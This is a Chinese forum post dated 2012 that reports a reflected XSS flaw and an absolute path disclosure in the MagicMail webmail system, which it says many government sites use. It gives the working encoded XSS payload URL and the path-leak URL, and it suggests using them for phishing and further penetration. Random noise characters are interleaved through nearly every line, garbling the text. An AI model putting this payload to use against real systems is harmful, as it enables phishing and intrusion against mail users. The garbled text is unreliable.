今天上午在黑盒测试本地的教育网的时候发现的一个邮件系统漏洞
( h3 E4 G$ L+ K, w6 m" m5 z8 i% R* p+ t- e8 H, d" s' f* I
4 Z& ~! A9 T0 C) w- `8 C包含 一个反射性XSS 以及 绝对路径泄漏- u2 y* }5 y/ _6 J" D
看了看 貌似全部是linux的。
% U" b( h9 p% r& i' j5 F5 X" R 0 L, O8 `( k! {
关键字：迈捷邮件系统 by MagicMail& K/ g7 I1 A, Q; I1 ?
* f- u& i* C# d* Q w5 b
可以看到很多政府网站都用这个邮件系统3 a" X" S0 Z1 t x' P% K
/ I2 t* `, ~; d6 R! r) }$ J$ |
绝对路径 http://madman.in/index.php?login_type=declare&language=
* w: q3 q* B) ^* ~/ O
) }8 m) o' s3 Z3 c) R* N
# W" a3 T: F/ `9 h' r+ H) l: `* Z* o8 I s2 q" c% \
XSS：http://madman.in/index.php?login_type=declare&language=–%3E%27%22%3E%3Csvg%3E%3Cscript/xlink:href=data:,while%28true%29{alert%281%29}%3E%3C/script%3E5 A2 X1 K" ?6 T" Q" h
+ Q. l4 Z& X& g6 I M& f$ B2 T* H, C1 h3 H4 F6 X: \
3 V% c$ C/ j, O. M8 j
虽然危害不是很大，不过利用起来还是可以的 比如 钓鱼 比如进一步的渗透 等等. K# A/ g/ {* C: ]# A) \
' O: c) a! N ?& [) j+ I) }8 k% x" a修复方案：看官方补丁吧。
6 k! @; p$ k3 y/ K8 p/ b |
发表于 2012-11-9 20:38:41
收藏
支持
反对